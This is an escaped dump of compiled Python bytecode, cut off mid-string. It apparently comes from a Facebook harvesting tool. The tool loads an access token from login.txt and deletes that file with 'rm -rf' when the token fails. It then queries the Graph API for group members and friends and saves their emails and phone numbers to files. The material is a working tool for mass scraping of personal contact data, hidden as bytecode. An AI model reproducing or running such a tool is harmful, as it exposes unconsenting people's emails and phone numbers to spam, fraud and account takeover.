\x00\x00\x00t\x05\x00\x00\x00idmemR\x94\x00\x00\x00R\x19\x00\x00\x00R\x17\x00\x00\x00R\x0e\x00\x00\x00R\x06\x00\x00\x00R\x18\x00\x00\x00R\x1b\x00\x00\x00Rg\x00\x00\x00R\x95\x00\x00\x00R\x96\x00\x00\x00R\x97\x00\x00\x00Ri\x00\x00\x00R\x01\x00\x00\x00R\x08\x00\x00\x00(\t\x00\x00\x00R4\x00\x00\x00Rj\x00\x00\x00R\'\x00\x00\x00t\x03\x00\x00\x00aswR\x98\x00\x00\x00t\x02\x00\x00\x00ret\x01\x00\x00\x00sRm\x00\x00\x00R\x99\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R\x89\x00\x00\x00\x0e\x02\x00\x00sr\x00\x00\x00\x00\x01\x03\x01\x19\x01\r\x01\x05\x01\r\x01\r\x01\x0b\x01\x03\x01\x11\x01\r\x01\x04\x01\x03\x01\r\x01\x05\x01\x0c\x01\x03\x01\x1b\x01\x12\x01\x11\x01\r\x01\x05\x01\n\x01\x0b\x01\n\x01\t\x01\x0f\x01\x1b\x01\x12\x01\x11\x01\x11\x01\x15\x01 \x00\r\x00\x11\x01\n\x01\x05\x01\x0f\x01\x0c\x01\x14\x01\t\x01\n\x01\x0b\x01\r\x01\x05\x01\n\x01\n\x01\x13\x01\x05\x01\n\x01\n\x01\r\x01\x05\x01\n\x01\n\x01\x13\x01\x05\x01c\x00\x00\x00\x00\x0b\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00s"\x03\x00\x00y\x19\x00t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00}\x00\x00Wn7\x00\x04t\x02\x00k\n\x00rR\x00\x01\x01\x01d\x03\x00GHt\x03\x00j\x04\x00d\x04\x00\x83\x01\x00\x01t\x05\x00j\x06\x00d\x05\x00\x83\x01\x00\x01t\x07\x00\x83\x00\x00\x01n\x01\x00Xy\x11\x00t\x03\x00j\x08\x00d\x06\x00\x83\x01\x00\x01Wn\x11\x00\x04t\t\x00k\n\x00rw\x00\x01\x01\x01n\x01\x00Xy\x08\x02t\x03\x00j\x04\x00d\x07\x00\x83\x01\x00\x01t\n\x00GHt\x0b\x00d\x08\x00\x83\x01\x00}\x01\x00y>\x00t\x0c\x00j\r\x00d\t\x00|\x01\x00\x17d\n\x00\x17|\x00\x00\x17\x83\x01\x00}\x02\x00t\x0e\x00j\x0f\x00|\x02\x00j\x10\x00\x83\x01\x00}\x03\x00d\x0b\x00|\x03\x00d\x0c\x00\x19\x17GHWn\'\x00\x04t\x11\x00k\n\x00r\x00\x01\x01\x01\x01d\r\x00GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01n\x01\x00Xt\x13\x00d\x0f\x00\x83\x01\x00\x01d\x10\x00d\x11\x00\x14GHt\x00\x00d\x12\x00d\x13\x00\x83\x02\x00}\x04\x00t\x0c\x00j\r\x00d\x14\x00|\x01\x00\x17d\x15\x00\x17|\x00\x00\x17\x83\x01\x00}\x05\x00t\x0e\x00j\x0f\x00|\x05\x00j\x10\x00\x83\x01\x00}\x06\x00x\xcb\x00|\x06\x00d\x16\x00\x19D]\xbf\x00}\x07\x00t\x0c\x00j\r\x00d\x14\x00|\x07\x00d\x17\x00\x19\x17d\x18\x00\x17|\x00\x00\x17\x83\x01\x00}\x08\x00t\x0e\x00j\x0f\x00|\x08\x00j\x10\x00\x83\x01\x00}\t\x00yt\x00t\x14\x00j\x15\x00|\t\x00d\x19\x00\x19\x83\x01\x00\x01|\x04\x00j\x16\x00|\t\x00d\x19\x00\x19d\x1a\x00\x17\x83\x01\x00\x01d\x1b\x00t\x17\x00t\x18\x00t\x14\x00\x83\x01\x00\x83\x01\x00\x17d\x1c\x00\x17|\t\x00d\x19\x00\x19\x17d\x1d\x00\x17|\t\x00d\x0c\x00\x19\x17d\x1a\x00\x17Gt\x19\x00j\x1a\x00j\x1b\x00\x83\x00\x00\x01t\x05\x00j\x06\x00d\x1e\x00\x83\x01\x00\x01Wq[\x01\x04t\x11\x00k\n\x00r\x19\x02\x01\x01\x01q[\x01Xq[\x01W|\x04\x00j\x1c\x00\x83\x00\x00\x01d\x10\x00d\x11\x00\x14GHd\x1f\x00GHd \x00t\x18\x00t\x14\x00\x83\x01\x00\x16GHt\x0b\x00d!\x00\x83\x01\x00}\n\x00t\x03\x00j\x1d\x00d\x12\x00d"\x00|\n\x00\x17\x83\x02\x00\x01d#\x00|\n\x00\x17GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01Wn\x9b\x00\x04t\x02\x00k\n\x00r\xa9\x02\x01\x01\x01d$\x00GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01nu\x00\x04t\x1e\x00t\x1f\x00f\x02\x00k\n\x00r\xd5\x02\x01\x01\x01d%\x00GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01nI\x00\x04t\x11\x00k\n\x00r\xfb\x02\x01\x01\x01d&\x00GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01n#\x00\x04t\x0c\x00j \x00j!\x00k\n\x00r\x1d\x03\x01\x01\x01d\'\x00GHt"\x00\x83\x00\x00\x01n\x01\x00Xd\x00\x00S((\x00\x00\x00Ns\t\x00\x00\x00login.txtR\'\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00R\x90\x00\x00\x00R&\x00\x00\x00s1\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mInput ID group \x1b[1;91m:\x1b[1;97m s%\x00\x00\x00https://graph.facebook.com/group/?id=s\x0e\x00\x00\x00&access_token=s=\x00\x00\x00\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom group \x1b[1;91m:\x1b[1;97m R0\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Group not founds\x1e\x00\x00\x00\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]s5\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGet group member email \x1b[1;97m...i*\x00\x00\x00s\n\x00\x00\x00\x1b[1;97m\xe2\x95\x90s\x16\x00\x00\x00out/em_member_grup.txtR\x11\x00\x00\x00s\x1b\x00\x00\x00https://graph.facebook.com/s5\x00\x00\x00/members?fields=name,id&limit=999999999&access_token=Rl\x00\x00\x00Rj\x00\x00\x00s\x0e\x00\x00\x00?access_token=R?\x00\x00\x00s\x01\x00\x00\x00\ns\x11\x00\x00\x00\r\x1b[1;97m[ \x1b[1;92ms\x1a\x00\x00\x00\x1b[1;97m ]\x1b[1;97m=> \x1b[1;97ms\x03\x00\x00\x00 | g-C\x1c\xeb\xe26\x1a?sW\x00\x00\x00\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mSuccessfully get email from member group \x1b[1;97m....s1\x00\x00\x00\r\x1b[1;91m[+] \x1b[1;92mTotal Email \x1b[1;91m: \x1b[1;97m%ss7\x00\x00\x00\r\x1b[1;91m[+] \x1b[1;92mSave file with name\x1b[1;91m :\x1b[1;97m s\x04\x00\x00\x00out/s2\x00\x00\x00\r\x1b[1;91m[+] \x1b[1;92mFile saved \x1b[1;91m: \x1b[1;97mout/s\x1e\x00\x00\x00\x1b[1;91m[!] Error creating files\x12\x00\x00\x00\x1b[1;91m[!] Stoppeds\x10\x00\x00\x00\x1b[1;91m[!] Errors\x1a\x00\x00\x00\x1b[1;91m[\xe2\x9c\x96] No connection(#\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R-\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R\x91\x00\x00\x00R\x92\x00\x00\x00R.\x00\x00\x00R/\x00\x00\x00Rb\x00\x00\x00Rc\x00\x00\x00Rd\x00\x00\x00Re\x00\x00\x00Rf\x00\x00\x00R,\x00\x00\x00R\x80\x00\x00\x00R \x00\x00\x00t\x05\x00\x00\x00emmemR\x94\x00\x00\x00R\x19\x00\x00\x00R\x17\x00\x00\x00R\x0e\x00\x00\x00R\x06\x00\x00\x00R\x18\x00\x00\x00R\x1b\x00\x00\x00Rg\x00\x00\x00R\x95\x00\x00\x00R\x96\x00\x00\x00R\x97\x00\x00\x00Ri\x00\x00\x00R\x01\x00\x00\x00R\x08\x00\x00\x00(\x0b\x00\x00\x00R4\x00\x00\x00Rj\x00\x00\x00R\'\x00\x00\x00R\xa0\x00\x00\x00R\x98\x00\x00\x00R\xa1\x00\x00\x00R\xa2\x00\x00\x00Rm\x00\x00\x00R\x10\x00\x00\x00R\x1e\x00\x00\x00R\x99\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R\x8a\x00\x00\x00H\x02\x00\x00s~\x00\x00\x00\x00\x01\x03\x01\x19\x01\r\x01\x05\x01\r\x01\r\x01\x0b\x01\x03\x01\x11\x01\r\x01\x04\x01\x03\x01\r\x01\x05\x01\x0c\x01\x03\x01\x1b\x01\x12\x01\x11\x01\r\x01\x05\x01\n\x01\x0b\x01\n\x01\t\x01\x0f\x01\x1b\x01\x12\x01\x11\x01\x1f\x01\x12\x01\x03\x01\x11\x01\x15\x010\x00\r\x00\x11\x01\r\x01\x08\x01\n\x01\t\x01\x05\x01\x0f\x01\x0c\x01\x14\x01\t\x01\n\x01\x0b\x01\r\x01\x05\x01\n\x01\n\x01\x13\x01\x05\x01\n\x01\n\x01\r\x01\x05\x01\n\x01\n\x01\x13\x01\x05\x01c\x00\x00\x00\x00\x0b\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00s"\x03\x00\x00y\x19\x00t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00}\x00\x00Wn7\x00\x04t\x02\x00k\n\x00rR\x00\x01\x01\x01d\x03\x00GHt\x03\x00j\x04\x00d\x04\x00\x83\x01\x00\x01t\x05\x00j\x06\x00d\x05\x00\x83\x01\x00\x01t\x07\x00\x83\x00\x00\x01n\x01\x00Xy\x11\x00t\x03\x00j\x08\x00d\x06\x00\x83\x01\x00\x01Wn\x11\x00\x04t\t\x00k\n\x00rw\x00\x01\x01\x01n\x01\x00Xy\x08\x02t\x03\x00j\x04\x00d\x07\x00\x83\x01\x00\x01t\n\x00GHt\x0b\x00d\x08\x00\x83\x01\x00}\x01\x00y>\x00t\x0c\x00j\r\x00d\t\x00|\x01\x00\x17d\n\x00\x17|\x00\x00\x17\x83\x01\x00}\x02\x00t\x0e\x00j\x0f\x00|\x02\x00j\x10\x00\x83\x01\x00}\x03\x00d\x0b\x00|\x03\x00d\x0c\x00\x19\x17GHWn\'\x00\x04t\x11\x00k\n\x00r\x00\x01\x01\x01\x01d\r\x00GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01n\x01\x00Xt\x13\x00d\x0f\x00\x83\x01\x00\x01d\x10\x00d\x11\x00\x14GHt\x00\x00d\x12\x00d\x13\x00\x83\x02\x00}\x04\x00t\x0c\x00j\r\x00d\x14\x00|\x01\x00\x17d\x15\x00\x17|\x00\x00\x17\x83\x01\x00}\x05\x00t\x0e\x00j\x0f\x00|\x05\x00j\x10\x00\x83\x01\x00}\x06\x00x\xcb\x00|\x06\x00d\x16\x00\x19D]\xbf\x00}\x07\x00t\x0c\x00j\r\x00d\x14\x00|\x07\x00d\x17\x00\x19\x17d\x18\x00\x17|\x00\x00\x17\x83\x01\x00}\x08\x00t\x0e\x00j\x0f\x00|\x08\x00j\x10\x00\x83\x01\x00}\t\x00yt\x00t\x14\x00j\x15\x00|\t\x00d\x19\x00\x19\x83\x01\x00\x01|\x04\x00j\x16\x00|\t\x00d\x19\x00\x19d\x1a\x00\x17\x83\x01\x00\x01d\x1b\x00t\x17\x00t\x18\x00t\x14\x00\x83\x01\x00\x83\x01\x00\x17d\x1c\x00\x17|\t\x00d\x19\x00\x19\x17d\x1d\x00\x17|\t\x00d\x0c\x00\x19\x17d\x1a\x00\x17Gt\x19\x00j\x1a\x00j\x1b\x00\x83\x00\x00\x01t\x05\x00j\x06\x00d\x1e\x00\x83\x01\x00\x01Wq[\x01\x04t\x11\x00k\n\x00r\x19\x02\x01\x01\x01q[\x01Xq[\x01W|\x04\x00j\x1c\x00\x83\x00\x00\x01d\x10\x00d\x11\x00\x14GHd\x1f\x00GHd \x00t\x18\x00t\x14\x00\x83\x01\x00\x16GHt\x0b\x00d!\x00\x83\x01\x00}\n\x00t\x03\x00j\x1d\x00d\x12\x00d"\x00|\n\x00\x17\x83\x02\x00\x01d#\x00|\n\x00\x17GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01Wn\x9b\x00\x04t\x02\x00k\n\x00r\xa9\x02\x01\x01\x01d$\x00GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01nu\x00\x04t\x1e\x00t\x1f\x00f\x02\x00k\n\x00r\xd5\x02\x01\x01\x01d%\x00GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01nI\x00\x04t\x11\x00k\n\x00r\xfb\x02\x01\x01\x01d&\x00GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01n#\x00\x04t\x0c\x00j \x00j!\x00k\n\x00r\x1d\x03\x01\x01\x01d\'\x00GHt"\x00\x83\x00\x00\x01n\x01\x00Xd\x00\x00S((\x00\x00\x00Ns\t\x00\x00\x00login.txtR\'\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00R\x90\x00\x00\x00R&\x00\x00\x00s1\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mInput ID group \x1b[1;91m:\x1b[1;97m s%\x00\x00\x00https://graph.facebook.com/group/?id=s\x0e\x00\x00\x00&access_token=s=\x00\x00\x00\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom group \x1b[1;91m:\x1b[1;97m R0\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Group not founds\x1e\x00\x00\x00\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]s<\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGet group member phone number \x1b[1;97m...i*\x00\x00\x00s\n\x00\x00\x00\x1b[1;97m\xe2\x95\x90s\x16\x00\x00\x00out/no_member_grup.txtR\x11\x00\x00\x00s\x1b\x00\x00\x00https://graph.facebook.com/s5\x00\x00\x00/members?fields=name,id&limit=999999999&access_token=Rl\x00\x00\x00Rj\x00\x00\x00s\x0e\x00\x00\x00?access_token=Rw\x00\x00\x00s\x01\x00\x00\x00\ns\x11\x00\x00\x00\r\x1b[1;97m[ \x1b[1;92ms\x1a\x00\x00\x00\x1b[1;97m ]\x1b[1;97m=> \x1b[1;97ms\x03\x00\x00\x00 | g-C\x1c\xeb\xe26\x1a?s^\x00\x00\x00\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mSuccessfully get phone number from member group \x1b[1;97m....s2\x00\x00\x00\r\x1b[1;91m[+] \x1b[1;92mTotal Number \x1b[1;91m: \x1b[1;97m%ss7\x00\x00\x00\r\x1b[1;91m[+] \x1b[1;92mSave file with name\x1b[1;91m :\x1b[1;97m s\x04\x00\x00\x00out/s2\x00\x00\x00\r\x1b[1;91m[+] \x1b[1;92mFile saved \x1b[1;91m: \x1b[1;97mout/s\x1e\x00\x00\x00\x1b[1;91m[!] Error creating files\x12\x00\x00\x00\x1b[1;91m[!] Stoppeds\x10\x00\x00\x00\x1b[1;91m[!] Errors\x1a\x00\x00\x00\x1b[1;91m[\xe2\x9c\x96] No connection(#\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R-\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R\x91\x00\x00\x00R\x92\x00\x00\x00R.\x00\x00\x00R/\x00\x00\x00Rb\x00\x00\x00Rc\x00\x00\x00Rd\x00\x00\x00Re\x00\x00\x00Rf\x00\x00\x00R,\x00\x00\x00R\x80\x00\x00\x00R \x00\x00\x00t\x05\x00\x00\x00nomemR\x94\x00\x00\x00R\x19\x00\x00\x00R\x17\x00\x00\x00R\x0e\x00\x00\x00R\x06\x00\x00\x00R\x18\x00\x00\x00R\x1b\x00\x00\x00Rg\x00\x00\x00R\x95\x00\x00\x00R\x96\x00\x00\x00R\x97\x00\x00\x00Ri\x00\x00\x00R\x01\x00\x00\x00R\x08\x00\x00\x00(\x0b\x00\x00\x00R4\x00\x00\x00Rj\x00\x00\x00R\'\x00\x00\x00R\xa0\x00\x00\x00R\x98\x00\x00\x00R\xa1\x00\x00\x00R\xa2\x00\x00\x00Rm\x00\x00\x00R\x10\x00\x00\x00R\x1e\x00\x00\x00R\x99\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R\x8b\x00\x00\x00\x88\x02\x00\x00s~\x00\x00\x00\x00\x01\x03\x01\x19\x01\r\x01\x05\x01\r\x01\r\x01\x0b\x01\x03\x01\x11\x01\r\x01\x04\x01\x03\x01\r\x01\x05\x01\x0c\x01\x03\x01\x1b\x01\x12\x01\x11\x01\r\x01\x05\x01\n\x01\x0b\x01\n\x01\t\x01\x0f\x01\x1b\x01\x12\x01\x11\x01\x1f\x01\x12\x01\x03\x01\x11\x01\x15\x010\x00\r\x00\x11\x01\r\x01\x08\x01\n\x01\t\x01\x05\x01\x0f\x01\x0c\x01\x14\x01\t\x01\n\x01\x0b\x01\r\x01\x05\x01\n\x01\n\x01\x13\x01\x05\x01\n\x01\n\x01\r\x01\x05\x01\n\x01\n\x01\x13\x01\x05\x01c\x00\x00\x00\x00\x08\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00s\xa6\x02\x00\x00y\x19\x00t\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00}\x00\x00Wn7\x00\x04t\x02\x00k\n\x00rR\x00\x01\x01\x01d\x03\x00GHt\x03\x00j\x04\x00d\x04\x00\x83\x01\x00\x01t\x05\x00j\x06\x00d\x05\x00\x83\x01\x00\x01t\x07\x00\x83\x00\x00\x01n\x01\x00Xy\x11\x00t\x03\x00j\x08\x00d\x06\x00\x83\x01\x00\x01Wn\x11\x00\x04t\t\x00k\n\x00rw\x00\x01\x01\x01n\x01\x00Xy\x8c\x01t\x03\x00j\x04\x00d\x07\x00\x83\x01\x00\x01t\n\x00GHt\x0b\x00j\x0c\x00d\x08\x00|\x00\x00\x17\x83\x01\x00}\x01\x00t\r\x00j\x0e\x00|\x01\x00j\x0f\x00\x83\x01\x00}\x02\x00t\x10\x00d\t\x00\x83\x01\x00\x01d\n\x00d\x0b\x00\x14GHt\x00\x00d\x0c\x00d\r\x00\x83\x02\x00}\x03\x00x\xcb\x00|\x02\x00d\x0e\x00\x19D]\xbf\x00}\x04\x00t\x0b\x00j\x0c\x00d\x0f\x00|\x04\x00d\x10\x00\x19\x17d\x11\x00\x17|\x00\x00\x17\x83\x01\x00}\x05\x00t\r\x00j\x0e\x00|\x05\x00j\x0f\x00\x83\x01\x00}\x06\x00yt\x00t\x11\x00j\x12\x00|\x06\x00d\x12\x00\x19\x83\x01\x00\x01|\x03\x00j\x13\x00|\x06\x00d\x12\x00\x19d\x13\x00\x17\x83\x01\x00\x01d\x14\x00t\x14\x00t\x15\x00t\x11\x00\x83\x01\x00\x83\x01\x00\x17d\x15\x00\x17|\x06\x00d\x12\x00\x19\x17d\x16\x00\x17|\x06\x00d\x17\x00\x19\x17d\x13\x00\x17Gt\x16\x00j\x17\x00j\x18\x00\x83\x00\x00\x01t\x05\x00j\x06\x00d\x18\x00\x83\x01\x00\x01Wq\xdf\x00\x04t\x19\x00k\n\x00r\x9d\x01\x01\x01\x01q\xdf\x00Xq\xdf\x00W|\x03\x00j\x1a\x00\x83\x00\x00\x01d\n\x00d\x0b\x00\x14GHd\x19\x00GHd\x1a\x00t\x15\x00t\x11\x00\x83\x01\x00\x16GHt\x1b\x00d\x1b\x00\x83\x01\x00}\x07\x00t\x03\x00j\x1c\x00d\x0c\x00d\x1c\x00|\x07\x00\x17\x83\x02\x00\x01d\x1d\x00|\x07\x00\x17GHt\x1b\x00d\x1e\x00\x83\x01\x00\x01t\x1d\x00\x83\x00\x00\x01Wn\x9b\x00\x04t\x02\x00k\n\x00r-\x02\x01\x01\x01d\x1f\x00GHt\x1b\x00d\x1e\x00\x83\x01\x00\x01t\x1d\x00\x83\x00\x00\x01nu\x00\x04t\x1e\x00t\x1f\x00f\x02\x00k\n\x00rY\x02\x01\x01\x01d \x00GHt\x1b\x00d\x1e\x00\x83\x01\x00\x01t\x1d\x00\x83\x00\x00\x01nI\x00\x04t\x19\x00k\n\x00r\x7f\x02\x01\x01\x01d!\x00GHt\x1b\x00d\x1e\x00\x83\x01\x00\x01t\x1d\x00\x83\x00\x00\x01n#\x00\x04t\x0b\x00j \x00j!\x00k\n\x00r\xa1\x02\x01\x01\x01d"\x00GHt"\x00\x83\x00\x00\x01n\x01\x00Xd\x00\x00S(#\x00\x00\x00Ns\t\x00\x00\x00login.txtR\'\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00R\x90\x00\x00\x00R&\x00\x00\x00s3\x00\x00\x00https://graph.facebook.com/me/friends?access_token=s3\x00\x00\x00\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mGet all friend email \x1b[1;97m...i*\x00\x00\x00s\n\x00\x00\x00\x1b[1;97m\xe2\x95\x90s\x13\x00\x00\x00out/email_teman.txtR\x11\x00\x00\x00Rl\x00\x00\x00s\x1b\x00\x00\x00https://graph.facebook.com/Rj\x00\x00\x00s\x0e\x00\x00\x00?access_token=R?\x00\x00\x00s\x01\x00\x00\x00\ns\x11\x00\x00\x00\r\x1b[1;97m[ \x1b[1;92ms\x1a\x00\x00\x00\x1b[1;97m ]\x1b[1;97m=> \x1b[1;97ms\x03\x00\x00\x00 | R0\x00\x00\x00g-C\x1c\xeb\xe26\x1a?sE\x00\x00\x00\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mSuccessfully get email \x1b[1;97m....s1\x00\x00\x00\r\x1b[1;91m[+] \x1b[1;92mTotal Email \x1b[1;91m: \x1b[1;97m%ss7\x00\x00\x00\r\x1b[1;91m[+] \x1b[1;92mSave file with name\x1b[1;91m :\x1b[1;97m s\x04\x00\x00\x00out/s2\x00\x00\x00\r\x1b[1;91m[+] \x1b[1;92mFile saved \x1b[1;91m: \x1b[1;97mout/s\x1e\x00\x00\x00\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]s\x1e\x00\x00\x00\x1b[1;91m[!] Error creating files\x12\x00\x00\x00\x1b[1;91m[!] Stoppeds\x10\x00\x00\x00\x1b[1;91m[!] Errors\x1a\x00\x00\x00\x1b[1;91m[\xe2\x9c\x96] No connection(#\x00\x00\x00R)\x00\x00\x00R*\x00\x00\x00R-\x00\x00\x00R\x05\x00\x00\x00R(\x00\x00\x00R\x1c\x00\x00\x00R\x1d\x00\x00\x00R2\x00\x00\x00R\x91\x00\x00\x00R\x92\x00\x00\x00R.\x00\x00\x00Rb\x00\x00\x00Rc\x00\x00\x00Rd\x00\x00\x00Re\x00\x00\x00Rf\x00\x00\x00R \x00\x00\x00t\x02\x00\x00\x00emR\x94\x00\x00\x00R\x19\x00\x00\x00R\x17\x00\x00\x00R\x0e\x00\x00\x00R\x06\x00\x00\x00R\x18\x00\x00\x00R\x1b\x00\x00\x00R,\x00\x00\x00Rg\x00\x00\x00R/\x00\x00\x00R\x95\x00\x00\x00R\x80\x00\x00\x00R\x96\x00\x00\x00R\x97\x00\x00\x00Ri\x00\x00\x00R\x01\x00\x00\x00R\x08\x00\x00\x00(\x08\x00\x00\x00R4\x00\x00\x00R\'\x00\x00\x00Rm\x00\x00\x00R\x98\x00\x00\x00R\x13\x00\x00\x00R\x10\x00\x00\x00R\x1e\x00\x00\x00R\x99\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>R?\x00\x00\x00\xc8\x02\x00\x00sl\x00\x00\x00\x00\x01\x03\x01\x19\x01\r\x01\x05\x01\r\x01\r\x01\x0b\x01\x03\x01\x11\x01\r\x01\x04\x01\x03\x01\r\x01\x05\x01\x13\x01\x12\x01\n\x01\t\x01\x0f\x01\x11\x01\x1f\x01\x12\x01\x03\x01\x11\x01\x15\x010\x00\r\x00\x11\x01\r\x01\x08\x01\n\x01\t\x01\x05\x01\x0f\x01\x0c\x01\x14\x01\t\x01\n\x01\x0b\x01\r\x01\x05\x01\n\x01\n\x01\x13\x01\x05\x01\n\x01\n\x01\r\x01\x05\x01\n\x01\n\x01\x13\x01\x05\x01c\x00\x00\x00\x00\x0b\x00\x00\x00\x06\x00\x00\x00C\x00\x00\x00s/\x03\x00\x00t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01y\x19\x00t\x02\x00d\x02\x00d\x03\x00\x83\x02\x00j\x03\x00\x83\x00\x00}\x00\x00Wn7\x00\x04t\x04\x00k\n\x00r_\x00\x01\x01\x01d\x04\x00GHt\x00\x00j\x01\x00d\x05\x00\x83\x01\x00\x01t\x05\x00j\x06\x00d\x06\x00\x83\x01\x00\x01t\x07\x00\x83\x00\x00\x01n\x01\x00Xy\x11\x00t\x00\x00j\x08\x00d\x07\x00\x83\x01\x00\x01Wn\x11\x00\x04t\t\x00k\n\x00r\x84\x00\x01\x01\x01n\x01\x00Xy\x08\x02t\x00\x00j\x01\x00d\x01\x00\x83\x01\x00\x01t\n\x00GHt\x0b\x00d\x08\x00\x83\x01\x00}\x01\x00y>\x00t\x0c\x00j\r\x00d\t\x00|\x01\x00\x17d\n\x00\x17|\x00\x00\x17\x83\x01\x00}\x02\x00t\x0e\x00j\x0f\x00|\x02\x00j\x10\x00\x83\x01\x00}\x03\x00d\x0b\x00|\x03\x00d\x0c\x00\x19\x17GHWn\'\x00\x04t\x11\x00k\n\x00r\r\x01\x01\x01\x01d\r\x00GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01n\x01\x00Xt\x0c\x00j\r\x00d\t\x00|\x01\x00\x17d\x0f\x00\x17|\x00\x00\x17\x83\x01\x00}\x04\x00t\x0e\x00j\x0f\x00|\x04\x00j\x10\x00\x83\x01\x00}\x05\x00t\x13\x00d\x10\x00\x83\x01\x00\x01d\x11\x00d\x12\x00\x14GHt\x02\x00d\x13\x00d\x14\x00\x83\x02\x00}\x06\x00x\xcb\x00|\x05\x00d\x15\x00\x19D]\xbf\x00}\x07\x00t\x0c\x00j\r\x00d\t\x00|\x07\x00d\x16\x00\x19\x17d\n\x00\x17|\x00\x00\x17\x83\x01\x00}\x08\x00t\x0e\x00j\x0f\x00|\x08\x00j\x10\x00\x83\x01\x00}\t\x00yt\x00t\x14\x00j\x15\x00|\t\x00d\x17\x00\x19\x83\x01\x00\x01|\x06\x00j\x16\x00|\t\x00d\x17\x00\x19d\x18\x00\x17\x83\x01\x00\x01d\x19\x00t\x17\x00t\x18\x00t\x14\x00\x83\x01\x00\x83\x01\x00\x17d\x1a\x00\x17|\t\x00d\x17\x00\x19\x17d\x1b\x00\x17|\t\x00d\x0c\x00\x19\x17d\x18\x00\x17Gt\x19\x00j\x1a\x00j\x1b\x00\x83\x00\x00\x01t\x05\x00j\x06\x00d\x1c\x00\x83\x01\x00\x01Wqh\x01\x04t\x11\x00k\n\x00r&\x02\x01\x01\x01qh\x01Xqh\x01W|\x06\x00j\x1c\x00\x83\x00\x00\x01d\x11\x00d\x12\x00\x14GHd\x1d\x00GHd\x1e\x00t\x18\x00t\x14\x00\x83\x01\x00\x16GHt\x0b\x00d\x1f\x00\x83\x01\x00}\n\x00t\x00\x00j\x1d\x00d\x13\x00d \x00|\n\x00\x17\x83\x02\x00\x01d!\x00|\n\x00\x17GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01Wn\x9b\x00\x04t\x04\x00k\n\x00r\xb6\x02\x01\x01\x01d"\x00GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01nu\x00\x04t\x1e\x00t\x1f\x00f\x02\x00k\n\x00r\xe2\x02\x01\x01\x01d#\x00GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01nI\x00\x04t\x11\x00k\n\x00r\x08\x03\x01\x01\x01d$\x00GHt\x0b\x00d\x0e\x00\x83\x01\x00\x01t\x12\x00\x83\x00\x00\x01n#\x00\x04t\x0c\x00j \x00j!\x00k\n\x00r*\x03\x01\x01\x01d%\x00GHt"\x00\x83\x00\x00\x01n\x01\x00Xd\x00\x00S(&\x00\x00\x00NR&\x00\x00\x00s\t\x00\x00\x00login.txtR\'\x00\x00\x00s\x1a\x00\x00\x00\x1b[1;91m[!] Token not founds\x10\x00\x00\x00rm -rf login.txti\x01\x00\x00\x00R\x90\x00\x00\x00s2\x00\x00\x00\x1b[1;91m[+] \x1b[1;92mInput ID friend \x1b[1;91m: 